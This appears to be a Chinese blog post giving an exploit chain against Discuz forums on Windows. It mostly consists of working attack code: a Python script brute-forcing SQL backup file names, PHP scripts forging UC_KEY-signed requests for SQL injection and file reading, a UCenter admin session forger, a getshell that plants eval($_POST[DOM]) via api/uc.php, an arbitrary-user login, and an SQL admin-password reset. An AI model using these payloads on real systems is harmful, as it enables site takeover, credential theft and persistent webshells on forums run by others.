windows discuz exploit
前提如果目标存在数据库备份
则可以通过windows短文件名得到备份sql文件
cmd dir /x可以看见短文件名

利用爆破下载

这里笔者写了一个检验脚本
use
python3 time.py 2020-12-1 2020-12-21 http://192.168.1.104 1
import datetime import sys import requests header = { "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01", "Accept-Encoding":"gzip, deflate, br", "Accept-Language":"zh-CN,zh;q=0.9", "Connection":"keep-alive", "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==", "X-Requested-With":"XMLHttpRequest", } def OKtxt(str): with open("OKTIME.txt",'a') as b: b.write(str+'\n') def OKstxt(str): with open("OKurl.txt",'a') as b: b.write(str+'\n') def OKurl(url,data,sqltime,lens): try: r=requests.get(url=url+'/data/backup~'+str(data)+'/'+str(sqltime)+'~1.sql',headers=header,timeout=10) if len(r.text) != lens: print("===========have SQLback fund ===========") print(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql') OKstxt(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql') else: print("=========== no have ===========") print(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql') except: print("===========badly===========") def create_assist_date(start,end): # 创建日期辅助表 datestart = start dateend = end # 转为日期格式 datestart=datetime.datetime.strptime(datestart,'%Y-%m-%d') dateend=datetime.datetime.strptime(dateend,'%Y-%m-%d') date_list = [] OKtxt(datestart.strftime('%Y%m%d')[0:2]+datestart.strftime('%Y%m%d')[4:]) while datestart<dateend: # 日期叠加一天 datestart+=datetime.timedelta(days=+1) # 日期转字符串存入列表 OKtxt(datestart.strftime('%Y%m%d')[0:2]+datestart.strftime('%Y%m%d')[4:]) print(date_list) if __name__ == '__main__': create_assist_date(str(sys.argv[1]),str(sys.argv[2])) f =open("OKTIME.txt",'r') i=0 sqltimes=f.readlines() r=requests.get(url=sys.argv[3]+'/data/backup~1/301212~1.sql',headers=header,timeout=10) s=len(r.text) for sqltime in sqltimes: if len(sqltime)>2: OKurl(sys.argv[3],sys.argv[4],sqltime[0:-1],s) else: print("======== OVer ========")

好了接下来我们得到了备份sql 如果备份sql里面存在关键信息(比如管理员密码 uc_key)
在pre_ucenter_applications的authkey字段找到UC_KEY(dz)
php $hash = unhex(0x78394c31656645316666313761344f37693135387863536255666f31553256374c65626566336739373459644734773045324c66493473355231703274346d35) $salt = unhex(0x323565616462)
管理员密码的hash生成规则md5(md5($password).$salt),可以本地跑一下密码
UC_KEY(dz),也就是upload/config/config_ucenter.php下的UC_KEY

其实DZ一共有两个UC_KEY,另一个在upload/uc_server/data/config.inc.php,用来做uc_server的校权,这里叫UC_KEY(server)。SQL备份泄漏的UC_KEY(dz)主要作用与DZ主程序,包括伪造前台的任意用户(没啥用),而UC_KEY(server)能修改任意后台管理员的密码(很有用)
利用uc_key(dz)构造前台注入exp
注入exp
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';
读文件exp
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title>UCenter Login!</title>
<style type="text/css">
body, div, td {font-size: 12px;font-family: Arial, sans-serif;color: #333;line-height: 16px;}
a{color:#833;text-decoration:none;}
a:hover{color:#147;text-decoration:underline;}
</style>
</head>
<body>
<body onload="document.shell.host.focus();">
<form name="shell" method="POST" action="">
<table border="0" cellpadding="0" cellspacing="5">
<tr>
<td valign="top">Host:</td>
<td><input name="host" cols="45" rows="5"></input>
</td>
</tr>
<tr>
<td valign="top">Uckey:</td>
<td><input name="uckey" cols="45" rows="5"></input>
</td>
</tr>
<tr>
<td></td>
<td>
<input type="submit" id="submit" name="fuck" value="Fuck It" /></td>
</tr>
</table>
</form>
<hr/>
</body>
</html>
<?php
if (isset($_POST['fuck'])) {
$uckey = ($_POST['uckey']);
$host = ($_POST['host']);
if (preg_match('/http:\/\//',$host)) {
$url=$host . "/uc_server/admin.php";
} elseif (preg_match('/https:\/\//',$host)) {
$url=$host . "/uc_server/admin.php";
} else {
$url="http://" . $host . "/uc_server/admin.php";
}
$username = 'UCenterAdministrator';
$agent = $_SERVER['HTTP_USER_AGENT'];
$cip = getenv('HTTP_CLIENT_IP');
$xip = getenv('HTTP_X_FORWARDED_FOR');
$rip = getenv('REMOTE_ADDR');
$srip = $_SERVER['REMOTE_ADDR'];
if($cip && strcasecmp($cip, 'unknown')) {
$ip = $cip;
} elseif($xip && strcasecmp($xip, 'unknown')) {
$ip = $xip;
} elseif($rip && strcasecmp($rip, 'unknown')) {
$ip = $rip;
} elseif($srip && strcasecmp($srip, 'unknown')) {
$ip = $srip;
}
$ip = '192.168.1.103'; //替换成你当前的ip,可使用XFF
$authkey = md5($ip.$agent.$uckey);
$check = substr(md5($ip.$agent), 0, 8);
$sid = rawurlencode(_authcode("$username\t$check", 'ENCODE', $authkey, 1800));
$result = $url."?sid=".$sid;
echo '<a href="'.$result.'" target="_blank">可不可以把我*到不要不要的?</a>';
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++){
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE'){
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)){
return substr($result, 26);
}else{
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
<?php
$uc_key = "Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf";
$time = time() + 7200;
$encode = "time=".$time."&action=renameuser&newusername=123&uid=1' sql";
echo urlencode(authcode($encode,'ENCODE',$uc_key));
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
针对于getshell来说,在x3以前的低版本和部分未更新的x3.2以前版本,我们可以直接利用discuz的uc_key(dz)结合api/uc.php前台getshell,获得uc_key(dz)的方法有:
<?php
$time = time() + 7200;
$host="192.168.1.104";
$uc_key="Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf";
$code=urlencode(_authcode("time=$time&action=updateapps", 'ENCODE', $uc_key));
$cmd1='http://x\');eval($_POST[DOM]);//
';
$cmd2='http://x
';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}?>
登录任意你知道uid的用户
<?php
$uc_key="Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf";
$a = 'time='.time().'&action=synlogin&uid=1';
echo $code=urlencode(_authcode($a, 'ENCODE', $uc_key));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
访问url
http://192.168.1.104/api/uc.php?code=acbbHGtDIKbJf3CY%2BX2v9J8XvcDYTo2FKdgw37hvs50W5Yyuy8ZpCvEEJF3jsFFpib5NFaCp00mpJeTr9RLKSHf%2F
利用uc_key(server)进入后台
dbbak.php-任意SQL执行
同样要利用UC_KEY(dz)构造数据包
1、在前台上传zip文件,内容为:这里你就要发挥你的想象了 或者用前面api/uc.php的sql注入爆出数据库名
UPDATE `windz`.`pre_ucenter_members` SET `password` = md5(concat(md5('password'),'12345678')), `salt` = '123456' WHERE `uid` = 1;
往uc_server/index.php传头像有固定的缓存的,在uc_server/data/tmp/upload{uid}.type
C:\Users\localhost\Desktop\Discuz_SC_UTF8\upload\uc_server\data\config.inc.php

浙公网安备 33010602011771号